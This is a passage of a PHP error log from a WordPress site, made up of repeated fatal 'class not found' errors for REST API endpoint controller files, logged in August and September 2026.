/home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [20-Aug-2026 05:55:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [20-Aug-2026 05:55:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [20-Aug-2026 05:55:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [20-Aug-2026 05:55:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [20-Aug-2026 05:55:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [20-Aug-2026 05:55:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [04-Sep-2026 13:25:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [04-Sep-2026 13:25:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [04-Sep-2026 13:25:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [04-Sep-2026 13:25:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [04-Sep-2026 13:25:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [04-Sep-2026 13:25:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [04-Sep-2026 13:25:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [04-Sep-2026 13:25:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [04-Sep-2026 13:25:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [04-Sep-2026 13:25:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [04-Sep-2026 13:25:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [04-Sep-2026 13:25:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [04-Sep-2026 13:25:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [04-Sep-2026 13:25:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [04-Sep-2026 13:25:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [04-Sep-2026 13:25:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [04-Sep-2026 13:25:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [04-Sep-2026 13:25:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [04-Sep-2026 13:25:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [04-Sep-2026 13:25:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [04-Sep-2026 13:25:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [04-Sep-2026 13:25:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [04-Sep-2026 13:25:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [04-Sep-2026 13:25:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [04-Sep-2026 13:25:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [04-Sep-2026 13:25:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [04-Sep-2026 13:25:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [04-Sep-2026 13:25:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [04-Sep-2026 13:25:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [04-Sep-2026 13:25:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [04-Sep-2026 13:25:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [04-Sep-2026 13:25:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [04-Sep-2026 13:25:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [04-Sep-2026 13:25:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [04-Sep-2026 13:25:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [04-Sep-2026 13:25:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [04-Sep-2026 13:25:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [04-Sep-2026 13:25:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [04-Sep-2026 13:25:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [04-Sep-2026 13:25:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [04-Sep-2026 13:25:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [04-Sep-2026 13:25:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [04-Sep-2026 13:25:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [04-Sep-2026 13:25:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [04-Sep-2026 13:25:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [04-Sep-2026 13:25:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [04-Sep-2026 13:38:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [04-Sep-2026 13:38:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [04-Sep-2026 13:38:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [04-Sep-2026 13:38:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [04-Sep-2026 13:38:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [04-Sep-2026 13:38:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [04-Sep-2026 13:38:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [04-Sep-2026 13:38:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [04-Sep-2026 13:38:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [04-Sep-2026 13:38:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [04-Sep-2026 13:38:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [04-Sep-2026 13:38:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [04-Sep-2026 13:38:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [04-Sep-2026 13:38:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [04-Sep-2026 13:38:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [04-Sep-2026 13:38:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [04-Sep-2026 13:38:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [04-Sep-2026 13:38:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [04-Sep-2026 13:38:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [04-Sep-2026 13:38:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [04-Sep-2026 13:38:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [04-Sep-2026 13:38:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [04-Sep-2026 13:38:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [04-Sep-2026 13:38:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [04-Sep-2026 13:38:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [04-Sep-2026 13:38:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [04-Sep-2026 13:38:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [04-Sep-2026 13:38:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [04-Sep-2026 13:38:19 